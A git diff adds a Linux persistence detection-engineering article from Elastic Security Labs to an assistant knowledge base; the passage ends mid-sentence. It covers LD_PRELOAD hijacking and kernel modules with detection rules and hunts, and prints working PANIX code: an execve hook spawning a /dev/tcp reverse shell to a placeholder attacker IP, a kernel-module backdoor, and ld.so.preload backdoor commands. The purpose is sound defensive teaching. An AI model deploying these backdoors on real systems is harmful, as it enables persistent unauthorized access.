ef366302fec6667a8517808d651b31d113447fa0d224174d02304f96aec47b5f1027fc009ebf97847dbeaf13927cb38854f1bc915e5ed237b1c9b957b4ff8cf53e1232e20c42e66759de1f6b5dfc9f609d6a451758d3accdf840a478ae553252d97b98a2a3d02202d23907c46fe10f0b3d23fc23205459af9338bdd24130d31ed2f2fe8e6df955bee53a32da000c34f565d0a0161d258e0c5d4096c227d79ec2c57634e9f2180c5f816fd292a4285211ec3d63589ed91880a8dacfe6137c92c3e83ed79d3c50650f0b7a2f4a16fc0545b4da64a30ce9e4547a6b15653dd890de1ccd02c0877fcfc3c2a829db130d0beeabe13912aeffa05c01d01616ab98c40363a8f36c5942bf1deba9ecd98aaa04ff911fd8e7123fc2a681bda37fdef2310538cfc15e666a0dbb95f2e4415bb9f862f64b90096a2e42d95b5d9f6617e38a0908c6db2213d963258d9ba6faad041449926c08af3d374f023ffafb2079438ee6bca9f11f97c9c48d00664d62fff9d31d9d33da2d68da7122f214f99f52abef688a828199a8e7dba1a9f196c6411241e10e33496b83c98e449150521a76d01a0d4b847dda8ef7cf53d087bb8bacc888c16709a97566db421547c681f6ed242f7d52f30b4d45510e053ef1530219d3168db8d21a7a19354ae0765feacc459ec40b0d7718cb463a2cf18e6fac88511040a9f3a2d02db8a2546866113bf9a2b8d4f0f94bc33c6fb46196d9f1a3ed0b669fd0770f91d4569047e7307189e347edafc47355e2b60910761496a4c466954b46618f169825189c7ad2a58677265c43d5864e2f929ffd6c8a4092c98cd21f5d9fe99f416024e6025e3daebd0b033a3de99ce98757ac4f993f3a36c7039f2b5e43e6a0419553d2068d26040f5577f5494034d64f3ce392ba9af0a1e93f0c997b5a99d5edc1b312770f82b20f9b346722d021d93af1fe7c3ab741e7a056c7f430cef1af19add44c484dc490ca7d087c0ee6e94834a7a77f676c49947b651aa696f3f9ebe3faf20b21b8714d0005a055dc49f81b446c5ee4e84bddb3954f92a420cb0c8068c4d496b2cea24371efd82dcc65a5fdfe65c8cb0f82d0dc0366c2ae76e4922f59ecd042412fb748b72b83a3590d51a91ebdd0940e7ea5bd655d5b70f1d3bdaea6d99179dff75dd9750d5d2073aa3603fdafe714765a79b731556b377d15f364b469d02cae42e70e5eb918813bc359b97e8262e0e01a551b5e0f0bea24131fd95a2db87eb97820037ad65bc29b2cfa33ca69d1e99444f73ef93dc9aa811a725f8525cb46dfea05e512572c29aec3ac13604a9f57eb4ebe82c7e3e772f2debfa9436a426cb3ad13bc05c8244dc2870c86e6b07ea670f84dc059a78a4c96d7e2bc59bc797da438c103e8a781b6fbb88afa7ee274632550a4272a0ceec2b901874f3d7faa71f36c819ab10cab38585aa539599f950fc773e92b9a99e3bfc1dbbb9f69e337ff8e9004a4dd7c7b4f68f4e992590e117c9c66f567f7af918079f9460454a97978cfd884d028cbb95bf34f37069e682549b0462950606687672e2d64e886c3611a9c1229cd5fc2a93898ea8744578daa1b65818324fa1f5855bea63a97e0b6f1ea62dc87200ac76cde8a6cd7a11f14fe0a13024faf2c97844c3318930a5b1bc83c85e0a59878b6a7767e4cc97259eb487fdb0d7cb4828549a6e4010edfb8ffe95b60de09ec61327b9a0a5b36c76b1fa1000f848b04a5c25f78e388942c18a047e8f839302627c5f3bca6efb7eee9be1b14840062cee1abebe443e9e405c40d06f377ad80a0e45906499b03657c8d83c69fed780cfbbea84031114881175d5571ccdc747e7b320400fa26d3a144bedf527b5126a47f5865e6ee60135cb92b097a0f52e5bca2673d081ca6cb1091801eb96564b477421a56621 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/continuation_on_persistence_mechanisms.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/continuation_on_persistence_mechanisms.md new file mode 100644 index 0000000000000..188d9b2df0d4f --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/continuation_on_persistence_mechanisms.md @@ -0,0 +1,811 @@ +--- +title: "Linux Detection Engineering - A Continuation on Persistence Mechanisms" +slug: "continuation-on-persistence-mechanisms" +date: "2025-01-27" +subtitle: "Enhancing Linux detection engineering with lessons learned and refined practices for persistence monitoring." +description: "This document continues the exploration of Linux detection engineering, emphasizing advancements in monitoring persistence mechanisms. By building on past practices and insights, it provides a roadmap for improving detection strategies in complex environments." +author: + - slug: ruben-groenewoud +image: "continuation-on-persistence-mechanisms.jpg" +category: + - slug: detection-science +tags: + - linux + - persistence +--- + +## Introduction + +Welcome to part three of the Linux Persistence Detection Engineering series! In this article, we continue to dig deep into the world of Linux persistence. Building on foundational concepts and techniques explored in the previous publications, this post discusses some additional, creative and/or complex persistence mechanisms. + +If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here: + +* [Linux Detection Engineering - A Primer on Persistence Mechanisms](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms) +* [Linux Detection Engineering - A Sequel on Persistence Mechanisms](https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms) + +In this publication, we’ll provide insights into: + +* How each works (theory) +* How to set each up (practice) +* How to detect them (SIEM and Endpoint rules) +* How to hunt for them (ES|QL and OSQuery reference hunts) + +To make the process even more engaging, we will be leveraging [PANIX](https://github.com/Aegrah/PANIX), a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities. + +By the end of this series, you'll have a robust knowledge of common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Are you ready to continue the journey on Linux persistence mechanisms? Let’s dive in! + +## Setup note + +To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to [enable and update our pre-built detection rules](https://www.elastic.co/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules). If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started. + +## T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking + +The [dynamic linker](https://man7.org/linux/man-pages/man8/ld.so.8.html) is a critical component of the Linux operating system responsible for loading and linking shared libraries required by dynamically linked executables. When a program is executed, the dynamic linker resolves references to shared libraries, loading them into memory and linking them to the application at runtime. This allows programs to use external libraries, such as the GNU C Library (`glibc`), without including the library code within the program itself, which saves memory and simplifies updates. + +Several key files and paths that play a crucial role in dynamic linking libraries are the following: + +* Dynamic linker binaries (e.g. `ld-linux-x86-64.so.2`): + * Typically located in `/lib/` or `/usr/lib/` for 32-bit systems. + * Found in `/lib64/` or `/usr/lib64/` on 64-bit systems. +* Symbolic links to dynamic linker binaries: + * Typically found in `/lib/x86_64-linux-gnu/` or `/usr/lib/x86_64-linux-gnu/` for 64-bit systems. + * Typically found in `/lib/i386-linux-gnu/` and `/usr/lib/i386-linux-gnu/` on 32-bit systems. +* Configuration files: + * `/etc/ld.so.conf`: Specifies additional library paths for the dynamic linker. + * `/etc/ld.so.cache`: A precompiled cache of library locations generated by `ldconfig` for efficient resolution. + * `/etc/ld.so.preload`: Specifies libraries to load before any other libraries. + +You can observe the dynamic linker in action using the `ldd` command, which lists the shared libraries required by an executable and their resolved paths. For example: + +```python +> ldd /bin/ls + +linux-vdso.so.1 (0x00007fff87480000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f235ff29000) +/lib64/ld-linux-x86-64.so.2 (0x00007f236034a000) +``` + +This output shows the libraries needed by the `ls` command, along with their locations and the dynamic linker binary responsible for loading them. The dynamic linker itself appears as `/lib64/ld-linux-x86-64.so.2` in this case. + +When a dynamically linked program is executed, the process follows these steps: + +1. The dynamic linker loads the binary's [ELF](https://man7.org/linux/man-pages/man5/elf.5.html) (Executable and Linkable Format) header to determine the required libraries. +2. It searches for the specified libraries in paths defined by: + 1. Default system library paths. + 2. Custom paths specified in `/etc/ld.so.conf` or environment variables like `LD_PRELOAD` and `LD_LIBRARY_PATH`. +3. It maps the libraries into the program’s memory space and resolves symbols (e.g., function or variable references) required by the program. +4. Execution is handed over to the program once all dependencies are resolved. + +Dynamic Linker Hijacking occurs when an attacker manipulates the linking process to redirect execution flow. This can involve altering the library search order through `LD_PRELOAD`, modifying configuration files like `/etc/ld.so.conf`, or tampering with cached library mappings in `/etc/ld.so.cache`. + +Malware such as [HiddenWasp](https://sandflysecurity.com/blog/detecting-and-de-cloaking-hiddenwasp-linux-stealth-malware/), [Symbiote](https://intezer.com/blog/research/new-linux-threat-symbiote/), and open-source rootkits such as [Medusa](https://github.com/ldpreload/Medusa) and [Azazel](https://github.com/chokepoint/azazel) leverage this technique to establish persistence. MITRE ATT&CK tracks this technique under the identifier [T1574.006](https://attack.mitre.org/techniques/T1574/006/). + +### T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD + +The `LD_PRELOAD` and `LD_LIBRARY_PATH` environment variables control how shared libraries are loaded by dynamically linked executables. Both are legitimate tools for debugging, profiling, and customizing application behavior, but they are also susceptible to abuse by attackers seeking to hijack the execution flow. + +The `LD_PRELOAD` variable allows users to specify shared libraries that the dynamic linker should load before any others. This preloading ensures that functions or symbols in the specified libraries override those in standard or program-specified libraries. For instance, `LD_PRELOAD` is often used to test new implementations of library functions without modifying the application itself. For example: + +``` +LD_PRELOAD=/tmp/custom_library.so /bin/ls +``` + +In this case, the dynamic linker will load `custom_library.so` before loading any other libraries required by `/bin/ls`, effectively replacing or augmenting its behavior. Running `ldd` this time shows a different output: + +```python +> ldd /bin/ls + +linux-vdso.so.1 (0x00007fff87480000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f235ff29000) +libcustom.so => /tmp/custom_library.so (0x00007f23ac7e5000) +/lib64/ld-linux-x86-64.so.2 (0x00007f236034a000) +``` + +Indicating that the potentially malicious `custom_library.so` will be loaded prior to all others. + +The `LD_LIBRARY_PATH` variable specifies directories for the dynamic linker to search when resolving shared libraries. This variable takes precedence over default library paths like `/lib/` and `/usr/lib/`, allowing users to override system libraries with custom versions located in alternate directories: + +``` +LD_LIBRARY_PATH=/tmp/custom_libs /bin/ls +``` + +Here, the dynamic linker will first search `/tmp/custom_libs` for the libraries required by `/bin/ls`. If a library is found there, it will be loaded instead of the default version. + +While both `LD_PRELOAD` and `LD_LIBRARY_PATH` can hijack the execution flow, they operate differently: + +* `LD_PRELOAD` directly specifies libraries to be loaded first, providing precise control over which functions are overridden. +* `LD_LIBRARY_PATH` alters the library search path, potentially affecting multiple libraries and their dependencies. + +Environment variables can be set by regular users without requiring administrative access, making them a useful tool to hijack the execution flow without requiring root privileges. Setting environment variables is not persistent. To make the changes persistent across sessions, attackers can append these variables to the shell initialization files such as `~/.bashrc` or `~/.zshrc`. For example: + +```python +> echo 'export LD_PRELOAD=/tmp/malicious_library.so' >> ~/.bashrc +> echo 'export LD_LIBRARY_PATH=/tmp/custom_libs' >> ~/.bashrc +``` + +On the next successful login, these variables will automatically be set, ensuring that the specified libraries are loaded whenever a dynamically linked executable is run. For more details, refer to the section on [shell profile modification](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms#t1546004---event-triggered-execution-unix-shell-configuration-modification) in our [previous blog](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms). + +With root access, an attacker can edit the `/etc/ld.so.conf` file or add configuration fragments to `/etc/ld.so.conf.d/` to insert malicious library paths. By running `ldconfig`, they can ensure these libraries are cached and prioritized in the library search order for all users and applications. For example: + +```python +# Create a malicious shared library +> mkdir /lib/malicious +> gcc -shared -o /lib/malicious/libhack.so -fPIC /tmp/hack.c +> cp malicious_libc.so /lib/malicious/libc.so.6 + +# Add the malicious library path to /etc/ld.so.conf and reload +> echo "/lib/malicious" >> /etc/ld.so.conf +> ldconfig + +# Verify with ldd +> ldd /bin/ls + +linux-vdso.so.1 (0x00007ffd2b1a5000) +libc.so.6 => /lib/malicious/libc.so.6 (0x00007f23ac7e5000) /lib64/ld-linux-x86-64.so.2 (0x00007f23ac6e0000) +``` + +This output indicates that the malicious `libc.so.6` is now being loaded, hijacking the execution flow of `/bin/ls` and potentially any other application relying on `libc.so.6`. + +Similarly, an attacker can manipulate the `/etc/ld.so.preload` file to force the dynamic linker to load a malicious shared library into every dynamically linked executable on the system. Unlike modifying the library search paths in `/etc/ld.so.conf`, this technique directly injects a library into the execution flow, overriding or augmenting critical functions across all applications. For example: + +```python +# Create a malicious shared library +> gcc -shared -o /lib/malicious/libhack.so -fPIC hack.c + +# Add the malicious library to /etc/ld.so.preload +> echo "/lib/malicious/libhack.so" >> /etc/ld.so.preload + +# Verify with ldd +ldd /bin/ls + +linux-vdso.so.1 (0x00007ffd2b1a5000) +libhack.so => /lib/malicious/libhack.so (0x00007f23ac7e5000) +/lib64/ld-linux-x86-64.so.2 (0x00007f236034a000) +``` + +The output shows that `libhack.so` is loaded before any other libraries. Since `/etc/ld.so.preload` affects all dynamically linked executables, the attack impacts every user and application. + +Additionally, root access allows for more potential attack vectors, such as: + +* Overwriting legitimate libraries in `/lib/`, `/lib64/`, `/usr/lib/`, or `/usr/lib64/` with malicious versions. +* Replacing and or modifying the dynamic linker binary (e.g. `ld-linux-x86-64.so.2`) to introduce backdoors or alter the library resolution process. +* Modifying system-wide configuration files such as `/etc/profile` or `/etc/bash.bashrc` to globally set `LD_PRELOAD` or `LD_LIBRARY_PATH`. + +#### Persistence through T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD + +Let’s examine how [PANIX](https://github.com/Aegrah/PANIX) leverages the dynamic linker hijacking technique within the [setup_ld_preload.sh](https://github.com/Aegrah/PANIX/blob/main/modules/setup_ld_preload.sh) module. This method relies on the presence of various compilation tools on the host system. PANIX hijacks the execution flow of the `execve` function for a user-specified binary, executing a backgrounded reverse shell whenever the binary is called: + +```c +// Function pointer for the original execve +int (*original_execve)(const char *pathname, char *const argv[], char *const envp[]); + +// Function to spawn a reverse shell in the background +void spawn_reverse_shell() { + pid_t pid = fork(); + if (pid == 0) { // Child process + setsid(); // Start a new session + char command[256]; + sprintf(command, "/bin/bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'", ATTACKER_IP, ATTACKER_PORT); + execl("/bin/bash", "bash", "-c", command, NULL); + exit(0); // Exit child process if execl fails + } +} + +// Hooked execve function +int execve(const char *pathname, char *const argv[], char *const envp[]) { + // Load the original execve function + if (!original_execve) { + original_execve = dlsym(RTLD_NEXT, "execve"); + if (!original_execve) { + exit(1); + } + } + + // Check if the executed binary matches the specified binary + if (strstr(pathname, "$binary") != NULL) { + // Spawn reverse shell in the background + spawn_reverse_shell(); + } + + // Call the original execve function + return original_execve(pathname, argv, envp); +} +``` + +To load the malicious shared object, PANIX backdoors the `/etc/ld.so.preload` by default. + +```c++ +// Compile the shared object +gcc -shared -fPIC -o $preload_lib $preload_source -ldl +if [ $? -ne 0 ]; then + echo "Compilation failed. Exiting." + exit 1 +fi + +// Add to /etc/ld.so.preload for persistence +if ! grep -q "$preload_lib" "$preload_file" 2>/dev/null; then + echo $preload_lib >> $preload_file + echo "[+] Backdoor added to /etc/ld.so.preload for persistence." +else + echo "[!] Backdoor already present in /etc/ld.so.preload." +fi +``` + +Let’s run the module: + +```python +> sudo ./panix.sh --ld-preload --ip 192.168.1.1 --port 2016 --binary ls + +LD_PRELOAD source code created: /tmp/preload/preload_backdoor.c +LD_PRELOAD shared object compiled successfully: /lib/preload_backdoor.so +[+] Backdoor added to /etc/ld.so.preload for persistence. +[+] Execute the binary ls to trigger the reverse shell. +``` + +When opening a session, we can see the malicious library injected into the execution flow: + +```python +> ldd $(which ls) + +linux-vdso.so.1 (0x00007ffe00fe8000) /lib/preload_backdoor.so (0x00007f610548e000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f61052bb000) +libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f61052b6000) +/lib64/ld-linux-x86-64.so.2 (0x00007f61054a0000) +``` + +Executing the `ls` command will spawn a reverse connection, while executing any other command, such as `whoami` will not. Let’s analyze the logs in Discover: + +![PANIX LD_PRELOAD module execution visualized in Kibana]( /assets/images/continuation-on-persistence-mechanisms/image2.png "PANIX LD_PRELOAD module execution visualized in Kibana") + +We can see PANIX being executed, after which the temporary `preload_backdoor.c` source code is created in the `/tmp` directory. Next, `gcc` is used to compile the source code into a shared object and is added to the `/etc/ld.so.preload` file, which did not yet exist and is therefore created. After executing the `ls` binary, the backdoor is triggered, initializing a reverse connection on the specified IP and port. + +To detect different activities along the chain, we have the following detection and endpoint rules in place: + +| Category | Coverage | +|----------|----------------------------------------------------------------| +| File | [Dynamic Linker Creation or Modification](https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/defense_evasion_dynamic_linker_file_creation.toml#L18) | +| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/integrations/fim/persistence_suspicious_file_modifications.toml#L20) | +| | [Shared Object Created or Changed by Previously Unknown Process](https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/persistence_shared_object_creation.toml#L187) | +| | [Modification of Dynamic Linker Preload Shared Object](https://github.com/elastic/detection-rules/blob/main/rules/linux/privilege_escalation_ld_preload_shared_object_modif.toml) | +| | [Creation of Hidden Shared Object File](https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/defense_evasion_hidden_shared_object.toml#L10) | +| | [Dynamic Linker (ld.so) Creation](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/defense_evasion_ld_so_creation.toml) | +| Process | [Dynamic Linker Copy](https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/persistence_dynamic_linker_backup.toml#L2) | +| | [Shared Object Injection via Process Environment Variable](https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/defense_evasion_shared_object_injection_via_process_environment_variable.toml) | +| | [Unusual Preload Environment Variable Process Execution](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/defense_evasion_unusual_preload_env_vars.toml) | +*Detection and endpoint rules that cover dynamic linker hijacking persistence* + +To revert any changes made to the system by PANIX, you can use the corresponding revert module by running: + +```bash +> sudo ./panix.sh --revert ld-preload + +[+] Reverting ld-preload module... +[+] Removing /lib/preload_backdoor.so from /etc/ld.so.preload... +[+] Removed entry from /etc/ld.so.preload. +[+] Removing malicious shared library /lib/preload_backdoor.so... +[+] Removed /lib/preload_backdoor.so. +[+] Removing temporary directory /tmp/preload... +[+] Removed /tmp/preload. +[!] Note: The backdoor may still be active in your current session. +[!] Please restart your shell session to fully disable the backdoor. +[!] Run 'exec bash' to start a new shell session. + +> exec bash +``` + +#### Hunting for T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD + +Other than relying on detections, it is important to incorporate threat hunting into your workflow. This publication will solely list the available hunts for each persistence mechanism; however, more details regarding the basics of threat hunting are outlined in the “*Hunting for T1053 - scheduled task/job*” section of “*[Linux Detection Engineering - A primer on persistence mechanisms](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms)*”. Additionally, descriptions and references can be found in our [Detection Rules repository](https://github.com/elastic/detection-rules), specifically in the [Linux hunting subdirectory](https://github.com/elastic/detection-rules/tree/main/hunting). + +We can hunt for this technique using [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html) and [OSQuery](https://www.elastic.co/guide/en/kibana/current/osquery.html) by focusing on the misuse of dynamic linker environment variables like `LD_PRELOAD` and `LD_LIBRARY_PATH`. The approach includes monitoring for the following: + +* **Processes with suspicious environment variables:** Tracks processes with `LD_PRELOAD` and `LD_LIBRARY_PATH` set to unusual values. +* **Creation of shared object (`.so`) files:** Observes `.so` files created in non-standard or uncommon directories, which could indicate malicious activity. +* **Modifications to critical dynamic linker files:** Monitors changes to files like `/etc/ld.so.preload`, `/etc/ld.so.conf`, and associated directories such as `/etc/ld.so.conf.d/`. + +By combining the [Persistence via Dynamic Linker Hijacking](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_dynamic_linker_hijacking.md) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1574.006](https://attack.mitre.org/techniques/T1574/006/). + +## T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions + +[Loadable Kernel Modules (LKMs)](https://man.openbsd.org/OpenBSD-5.1/lkm.4) provide a way to extend kernel functionality without modifying the core kernel itself. These modules can be dynamically loaded and unloaded at runtime, enabling features like hardware driver support, network protocol handling, and file system management. + +Modules are typically stored in the `/lib/modules/` or `/usr/lib/modules/` directory followed by a subdirectory for the active kernel version and are organized into subdirectories based on their functionality, such as drivers or network protocols. To ensure an LKM is loaded on boot, the following configuration files are read: + +* `/etc/modules` +* `/etc/modprobe.d/` +* `/usr/lib/modprobe.d/` +* `/etc/modules-load.d/` +* `/run/modules-load.d/` +* `/usr/local/lib/modules-load.d/` +* `/usr/lib/modules-load.d/` + +Management tools like `modprobe`, `insmod`, and `rmmod` are used to load, list, or unload modules. + +When an LKM is loaded, the following sequence occurs: + +1. User-space invocation: + a. A user with sufficient privileges initiates the loading process using tools like `modprobe` or `insmod`. +2. Syscall invocation: + a. `init_module()`: Loads a module from memory. + b. `finit_module()`: Loads a module from a file descriptor. +3. Kernel validation: + a. The kernel verifies the module's integrity, structure, and compatibility. + b. Checks include validation of the ELF format and kernel version compatibility using metadata like `vermagic`. +4. Dependency Resolution: + a. Tools like `depmod` generate dependency files that `modprobe` uses to load any required modules. +5. Initialization and integration: + a. The module's initialization function is executed, integrating it with the kernel's functionality through exported symbols and interfaces. + +Newer systems leverage `systemd` to invoke module loading during startup based on unit dependencies specified in service files. Older systems may still use scripts in `/etc/init.d/` or `/etc/rc.d/` to load modules at boot. + +The kernel prioritizes modules based on their order in dependency files or init system configurations. The search and load process typically follows: + +1. Default paths specified in `/lib/modules/` or `/usr/lib/modules/` +2. Overrides defined in `/etc/modprobe.d/` or `/usr/lib/modeprobe.d/` +3. Kernel command-line parameters (e.g., `modprobe.blacklist`). + +The flexibility and power of LKMs make them a double-edged sword, as they are not only indispensable for system functionality but also a potential vector for sophisticated threats, such as rootkits. MITRE tracks this technique under [T1547.006](https://attack.mitre.org/techniques/T1547/006/). + +### T1014 - Rootkit + +Rootkits are a class of malicious software designed to conceal their presence and maintain persistent access to a system. They operate at various levels, from user-space applications to kernel-level modules. Kernel-level rootkits leverage LKMs, manipulating kernel behavior to hide processes, files, and network activity, making them difficult to detect. + +While rootkits are a broad and advanced topic, they are closely related to T1547.006 - Kernel Modules and Extensions. By modifying kernel structures or intercepting system calls, these rootkits can gain deep control over the system while remaining hidden from standard detection methods. MITRE tracks Rootkits specifically under [T1014](https://attack.mitre.org/techniques/T1014/). + +#### Future Work: T1014 - Rootkit + +Rootkits are a vast topic deserving dedicated attention. In upcoming publications, we will explore: + +* The basics of rootkits. +* Techniques for detecting and hunting rootkits. +* Real-world examples of rootkit attacks and defenses. + +For now, understanding how LKMs are used as a vector for kernel rootkits bridges the gap between T1547.006 - Kernel Modules and Extensions and the broader topic of rootkits. This blog lays the groundwork for the in-depth exploration of rootkits to come. + +Can’t wait to learn more about rootkits? Read our recent research, “*[Declawing PUMAKIT](https://www.elastic.co/security-labs/declawing-pumakit)*”, a sophisticated LKM rootkit that employs mechanisms to hide its presence and maintain communication with its C2 servers. + +#### Persistence through T1547.006 - Kernel Modules and Extensions + +While T1547.006 and T1014 share some overlap, PANIX includes two distinct modules: one for a basic LKM and another for a fully implemented rootkit. We’ll begin with the simple LKM using the [setup_lkm.sh](https://github.com/Aegrah/PANIX/blob/main/modules/setup_lkm.sh) module for T1547. As before, this module requires kernel headers and compilation tools to be available on the host. + +The LKM being created is a simple module that spawns a separate thread to execute a specified command. Once the command is executed, the thread enters a sleep state for 60 seconds before repeating the process in an infinite while loop. + +```c +#include +#include +#include +#include +#include +#include + +static struct task_struct *task; + +static int backdoor_thread(void *arg) { + allow_signal(SIGKILL); + while (!kthread_should_stop()) { + char *argv[] = {$command}; + call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_PROC); + ssleep(60); + } + return 0; +} + +static int __init lkm_backdoor_init(void) { + printk(KERN_INFO "Loading LKM backdoor module\\n"); + task = kthread_run(backdoor_thread, NULL, "lkm_backdoor_thread"); + return 0; +} + +static void __exit lkm_backdoor_exit(void) { + printk(KERN_INFO "Removing LKM backdoor module\\n"); + if (task) { + kthread_stop(task); + } +} + +module_init(lkm_backdoor_init); +module_exit(lkm_backdoor_exit); + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("PANIX"); +MODULE_DESCRIPTION("LKM Backdoor"); +``` + +After compilation with `make` and `gcc`, it copies the LKM to `/lib/modules/$(uname -r)/kernel/drivers/${lkm_name}.ko` and executes the `sudo insmod ${lkm_destination}` to load the module. The `$(uname -r)` command ensures that the path corresponding to the active kernel version is resolved. + +Let’s run the module: + +```bash +> sudo ./panix.sh --lkm --default --ip 192.168.1.1 --port 2017 + +[+] Kernel module source code created: /tmp/lkm/panix.c +[+] Makefile created: /tmp/lkm/Makefile +[+] Kernel module compiled successfully: /lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko +[+] Adding kernel module to /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/... +[+] Kernel module loaded successfully. Check dmesg for the output. +[+] Kernel module added to /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/ +[+] LKM backdoor established! +``` + +Taking a look at the remnants left behind in Discover, we can see: + +![PANIX LKM module execution visualized in Kibana]( /assets/images/continuation-on-persistence-mechanisms/image5.png "PANIX LKM module execution visualized in Kibana") + +PANIX is executed, initiating the compilation process for the LKM using `make`, ensuring it is built for the active kernel version. Once compiled, the resulting `panix.ko` module is placed in the appropriate module library directory for the current kernel. To achieve persistence across reboots, a configuration file named `panix.conf` is created in both `/etc/modules-load.d/` and `/usr/lib/modules-load.d/`. The module is then loaded into the kernel using the `insmod` command, activating the reverse shell. Leveraging the Auditd Manager integration, we can observe the `kmod` utility loading the `panix` kernel module. + +This technique can leave behind several traces. The following detection- and endpoint rules are in place to effectively detect these: + +| Category | Coverage | +|----------|----------------------------------------------------| +| Driver | [Kernel Driver Load](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_kernel_driver_load.toml) | +| | [Kernel Driver Load by non-root User](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_kernel_driver_load_by_non_root.toml) | +| File | [Loadable Kernel Module Configuration File Creation](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_lkm_configuration_file_creation.toml) | +| | [Kernel Object File Creation](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_kernel_object_file_creation.toml) | +| Process | [Kernel Module Load via insmod](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_insmod_kernel_module_load.toml) | +| | [Kernel Module Removal](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/defense_evasion_kernel_module_removal.toml) | +| | [Enumeration of Kernel Modules](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/discovery_kernel_module_enumeration.toml) | +| | [Attempt to Clear Kernel Ring Buffer](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/defense_evasion_clear_kernel_ring_buffer.toml) | +| | [Kernel Load or Unload via Kexec Detected](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_load_and_unload_of_kernel_via_kexec.toml) | +| Syslog | [Tainted Kernel Module Load](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_tainted_kernel_module_load.toml) | +| | [Tainted Out-Of-Tree Kernel Module Load](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_tainted_kernel_module_out_of_tree_load.toml) | +*Detection and endpoint rules that cover loadable kernel module persistence* | + +For more information on how to set up the Auditd Manager integration to capture driver events and much more, check out the [Linux Detection Engineering with Auditd](https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd) publication. + +We can revert this module by executing the following command: + +```bash +> sudo ./panix.sh --revert lkm + +###### [+] Reverting lkm module... ##### + +[+] Unloading kernel module 'panix'... +[+] Kernel module 'panix' unloaded successfully. +[+] Removing kernel module file '/lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko'... +[+] Kernel module file '/lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko' removed successfully. +[+] Removing temporary directory '/tmp/lkm'... +[+] Temporary directory '/tmp/lkm' removed successfully. +[+] Removing panix from /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/... +[+] Updating module dependencies... +[+] Module dependencies updated. +``` + +#### Hunting for T1547.006 - Kernel Modules and Extensions + +We can hunt for this technique using ES|QL and OSQuery, focusing on suspicious kernel module activity, including the creation of `.ko` files, execution of kernel module management tools, and modifications to kernel module configuration files. The hunting approach includes: + +* **Monitoring kernel module file creation:** Tracks `.ko` file creations in non-standard directories to detect potentially malicious modules. +* **Identifying unusual module management executions:** Monitors processes such as `kmod`, `modprobe`, `insmod`, and `rmmod` for suspicious or uncommon arguments. +* **Detecting changes to configuration files:** Observes files like 